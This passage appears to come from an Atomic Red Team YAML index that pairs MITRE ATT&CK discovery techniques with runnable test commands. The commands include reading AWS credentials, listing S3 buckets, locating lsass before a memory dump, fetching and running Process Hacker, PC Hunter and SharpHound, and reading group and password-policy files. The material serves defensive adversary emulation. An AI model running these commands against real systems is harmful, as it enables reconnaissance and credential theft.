~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS default profile using: aws configure ' executor: command: 'for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done ' name: sh elevation_required: false T1654: technique: modified: '2023-09-30T22:18:46.711Z' name: Log Enumeration description: |- Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)). Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Bilal Bahadır Yenici x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - IaaS x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969 created: '2023-07-10T16:50:57.587Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1654 external_id: T1654 - source_name: SIM Swapping and Abuse of the Microsoft Azure Serial Console description: 'Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.' url: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial - source_name: Cadet Blizzard emerges as novel threat actor description: Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023. url: https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/ - source_name: WithSecure Lazarus-NoPineapple Threat Intel Report 2023 description: Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023. url: https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1654 atomic_tests: - name: Get-EventLog To Enumerate Windows Security Log auto_generated_guid: a9030b20-dd4b-4405-875e-3462c6078fdc description: "Uses the built-in PowerShell commandlet Get-EventLog to search for 'SYSTEM' keyword and saves results to a text file.\n\nThis technique was observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/) \nwhere the threat actor enumerated the Windows Security audit log to determine user accounts and associated IPv4 addresses.\n\nSuccessful execution will save matching log events to the users temp folder." supported_platforms: - windows executor: command: powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt} cleanup_command: powershell -c "remove-item $env:temp\T1654_events.txt -ErrorAction Ignore" name: powershell elevation_required: true - name: Enumerate Windows Security Log via WevtUtil auto_generated_guid: fef0ace1-3550-4bf1-a075-9fea55a778dd description: "WevtUtil is a command line tool that can be utilised by adversaries to gather intelligence on a targeted Windows system's logging infrastructure. \n\nBy executing this command, malicious actors can enumerate all available event logs, including both default logs such as Application, Security, and System\nas well as any custom logs created by administrators. \n\nThis information provides valuable insight into the system's logging mechanisms, potentially allowing attackers to identify gaps or weaknesses in the logging configuration" supported_platforms: - windows executor: command: wevtutil enum-logs name: command_prompt T1087.004: technique: x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe type: attack-pattern created: '2020-02-21T21:08:36.570Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1087.004 url: https://attack.mitre.org/techniques/T1087/004 - description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0 source_name: Microsoft msolrolemember - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. url: https://github.com/True-Demon/raindance source_name: GitHub Raindance - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest source_name: Microsoft AZ CLI - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ source_name: Black Hills Red Teaming MS AD Azure, 2018 - source_name: AWS List Roles description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html - source_name: AWS List Users url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html description: Amazon. (n.d.). List Users. Retrieved August 11, 2020. - source_name: Google Cloud - IAM Servie Accounts List API url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020. modified: '2022-04-25T14:00:00.188Z' name: Cloud Account description: "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1057: technique: modified: '2024-04-16T12:43:55.369Z' name: Process Discovery description: "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. \n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 created: '2017-05-31T21:30:48.728Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1057 external_id: T1057 - source_name: show_processes_cisco_cmd description: Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760 - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1057 atomic_tests: - name: Process Discovery - ps auto_generated_guid: 4ff64f0b-aaf2-4866-b39d-38d9791407cc description: | Utilize ps to identify processes. Upon successful execution, sh will execute ps and output to /tmp/loot.txt. supported_platforms: - linux - macos input_arguments: output_file: description: path of output file type: path default: "/tmp/loot.txt" executor: command: | ps >> #{output_file} ps aux >> #{output_file} cleanup_command: 'rm #{output_file} ' name: sh - name: Process Discovery - tasklist auto_generated_guid: c5806a4f-62b8-4900-980b-c7ec004e9908 description: "Utilize tasklist to identify processes.\n\nUpon successful execution, cmd.exe will execute tasklist.exe to list processes. Output will be via stdout. \n" supported_platforms: - windows executor: command: 'tasklist ' name: command_prompt - name: Process Discovery - Get-Process auto_generated_guid: 3b3809b6-a54b-4f5b-8aff-cb51f2e97b34 description: "Utilize Get-Process PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout. \n" supported_platforms: - windows executor: command: 'Get-Process ' name: powershell - name: Process Discovery - get-wmiObject auto_generated_guid: b51239b4-0129-474f-a2b4-70f855b9f2c2 description: "Utilize get-wmiObject PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. \n" supported_platforms: - windows executor: command: 'get-wmiObject -class Win32_Process ' name: powershell - name: Process Discovery - wmic process auto_generated_guid: 640cbf6d-659b-498b-ba53-f6dd1a1cc02c description: "Utilize windows management instrumentation to identify processes.\n\nUpon successful execution, WMIC will execute process to list processes. Output will be via stdout. \n" supported_platforms: - windows executor: command: 'wmic process get /format:list ' name: command_prompt - name: Discover Specific Process - tasklist auto_generated_guid: 11ba69ee-902e-4a0f-b3b6-418aed7d7ddb description: "Adversaries may use command line tools to discover specific processes in preparation of further attacks. \nExamples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.\n" supported_platforms: - windows input_arguments: process_to_enumerate: description: Process name string to search for. type: string default: lsass executor: command: 'tasklist | findstr #{process_to_enumerate} ' name: command_prompt - name: Process Discovery - Process Hacker auto_generated_guid: 966f4c16-1925-4d9b-8ce0-01334ee0867d description: Process Hacker can be exploited to infiltrate system processes, identify weak points, or achieve unauthorized control over systems. However, its malicious use can often be flagged by security defenses, rendering it a perilous tool for illegitimate purposes. supported_platforms: - windows input_arguments: processhacker_exe: description: Process hacker installation executables. type: string default: ProcessHacker.exe dependency_executor_name: powershell dependencies: - description: Process Hacker must be installed in the location prereq_command: 'if (Test-Path "c:\Program Files\Process Hacker 2\#{processhacker_exe}") {exit 0} else {exit 1} ' get_prereq_command: |- Write-Host Downloading Process Hacker New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://versaweb.dl.sourceforge.net/project/processhacker/processhacker2/processhacker-2.39-setup.exe" -OutFile "C:\Temp\ExternalPayloads\processhacker-2.39-setup.exe" Write-Host Installing Process Hacker Start-Process "c:\Temp\ExternalPayloads\processhacker-2.39-setup.exe" -Wait -ArgumentList "/s" executor: command: Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}" name: powershell elevation_required: true - name: Process Discovery - PC Hunter auto_generated_guid: b4ca838d-d013-4461-bf2c-f7132617b409 description: PC Hunter is a toolkit with access to hundreds of settings including kernels, kernel modules, processes, network, startup, and more. When abused, this tool can allow threat actors to effectively access sensitive processes, collect system information, and terminate security software. supported_platforms: - windows input_arguments: pchunter64_exe: description: Process hacker installation executables. type: string default: PChunter64.exe dependency_executor_name: powershell dependencies: - description: PCHunter must be present in device prereq_command: 'if (Get-ChildItem -Path C:\ -Include *PCHunter64* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1} ' get_prereq_command: |- Write-Host Downloading PC Hunter New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://www.snapfiles.com/directdl/PCHunter_free.zip" -OutFile "C:\Temp\ExternalPayloads\PCHunter_free.zip" Expand-Archive -LiteralPath 'C:\Temp\ExternalPayloads\PCHunter_free.zip' -DestinationPath C:\Temp\ExternalPayloads Write-Host Unzipping Installing Process Hunter executor: command: Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}" name: powershell elevation_required: true T1497.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Deloitte Threat Library Team object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938 type: attack-pattern created: '2020-03-06T21:04:12.454Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1497.002 url: https://attack.mitre.org/techniques/T1497/002 - source_name: Deloitte Environment Awareness url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. - source_name: Sans Virtual Jan 2016 url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. - source_name: Unit 42 Sofacy Nov 2018 url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. source_name: FireEye FIN7 April 2017 modified: '2022-04-25T14:00:00.188Z' name: User Activity Based Checks description: "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: 'User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary''s implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Static File Analysis - Signature-based detection - Host forensic analysis spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1069.001: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Permission Groups Discovery: Local Groups' description: |- Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. Commands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Harshal Tupsamudre, Qualys - Miriam Wiesner, @miriamxyra, Microsoft Security x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Group: Group Enumeration' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b created: '2020-03-12T19:29:21.013Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1069/001 external_id: T1069.001 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1069.001 atomic_tests: - name: Permission Groups Discovery (Local) auto_generated_guid: 952931a4-af0b-4335-bbbe-73c8c5b327ae description: 'Permission Groups Discovery ' supported_platforms: - linux - macos executor: command: | if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi; if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi; if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi; if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi; if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi; cat /etc/group name: sh - name: Basic Permission Groups Discovery Windows (Local) auto_generated_guid: 1f454dd6-e134-44df-bebb-67de70fb6cd8 description: | Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. supported_platforms: - windows executor: command: | net localgroup net localgroup "Administrators" name: command_prompt - name: Permission Groups Discovery PowerShell (Local) auto_generated_guid: a580462d-2c19-4bc7-8b9a-57a41b7d3ba4 description: | Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. supported_platforms: - windows executor: command: | get-localgroup Get-LocalGroupMember -Name "Administrators" name: powershell - name: SharpHound3 - LocalAdmin auto_generated_guid: e03ada14-0980-4107-aff1-7783b2b59bb1 description: 'This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR) ' supported_platforms: - windows input_arguments: domain: description: FQDN of the targeted domain type: string default: "$env:UserDnsDomain" sharphound_path: description: SharpHound Windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\SharpHound.exe output_path: description: Output for SharpHound type: path default: "$env:TEMP\\SharpHound\\" dependency_executor_name: powershell dependencies: - description: | SharpHound binary must exist on disk and at specified location (#{sharphound_path}). And the computer must be domain joined (implicit authentication). prereq_command: 'if (Test-Path "#{sharphound_path}") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true" -OutFile "#{sharphound_path}" executor: name: powershell elevation_required: false command: | New-Item -Path "#{output_path}" -ItemType Directory > $null & "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}" cleanup_command: 'Remove-Item -Recurse #{output_path} -ErrorAction Ignore ' - name: Wmic Group Discovery auto_generated_guid: 7413be50-be8e-430f-ad4d-07bf197884b2 description: 'Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system. ' supported_platforms: - windows executor: command: 'wmic group get name ' name: command_prompt - name: WMIObject Group Discovery auto_generated_guid: 69119e58-96db-4110-ad27-954e48f3bb13 description: 'Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system. ' supported_platforms: - windows executor: command: 'Get-WMIObject Win32_Group ' name: powershell - name: Permission Groups Discovery for Containers- Local Groups auto_generated_guid: 007d7aa4-8c4d-4f55-ba6a-7c965d51219c description: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information. supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker --no-pager ' get_prereq_command: 'sudo systemctl start docker ' executor: command: |- docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/ docker run --name t1069_container -d -t t1069 docker exec t1069_container ./test.sh cleanup_command: |- docker stop t1069_container docker rmi -f t1069 name: sh T1201: technique: modified: '2022-11-08T14:00:00.188Z' name: Password Policy Discovery description: |- Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A) Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. x_mitre_platforms: - Windows - Linux - macOS - IaaS - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.5' x_mitre_contributors: - Regina Elwell - Sudhanshu Chauhan, @Sudhanshu_C - Isif Ibrahima, Mandiant - Austin Clark, @c2defense x_mitre_data_sources: - 'User Account: User Account Metadata' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1201 external_id: T1201 - source_name: AWS GetPasswordPolicy description: Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021. url: https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html - source_name: Jamf User Password Policies description: Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018. url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines - source_name: Superuser Linux Password Policies description: Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018. url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1201 atomic_tests: - name: Examine password complexity policy - Ubuntu auto_generated_guid: '085fe567-ac84-47c7-ac4c-2688ce28265b' description: 'Lists the password complexity policy to console on Ubuntu Linux. ' supported_platforms: - linux executor: command: 'cat /etc/pam.d/common-password ' name: bash - name: Examine password complexity policy - FreeBSD auto_generated_guid: a7893624-a3d7-4aed-9676-80498f31820f description: 'Lists the password complexity policy to console on FreeBSD. ' supported_platforms: - linux executor: command: 'cat /etc/pam.d/passwd ' name: sh - name: Examine password complexity policy - CentOS/RHEL 7.x auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d description: 'Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. ' supported_platforms: - linux dependencies: - description: 'System must be CentOS or RHEL v7 ' prereq_command: 'if [ $(uname -a | grep -ioP ''el[0-9]'' | grep -oP ''[0-9]'') -eq "7" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo Please run from CentOS or RHEL v7 ' executor: command: 'cat /etc/security/pwquality.conf ' name: bash - name: Examine password complexity policy - CentOS/RHEL 6.x auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358 description: 'Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. ' supported_platforms: - linux dependencies: - description: 'System must be CentOS or RHEL v6 ' prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "6" ]; then exit /b 0; else exit /b 1; fi; ' get_prereq_command: 'echo Please run from CentOS or RHEL v6 ' executor: command: | cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf name: bash - name: Examine password expiration policy - All Linux auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. ' supported_platforms: - linux executor: command: 'cat /etc/login.defs ' name: bash - name: Examine local password policy - Windows auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6 description: 'Lists the local password policy to console on Windows. ' supported_platforms: - windows executor: command: 'net accounts ' name: command_prompt - name: Examine domain password policy - Windows auto_generated_guid: 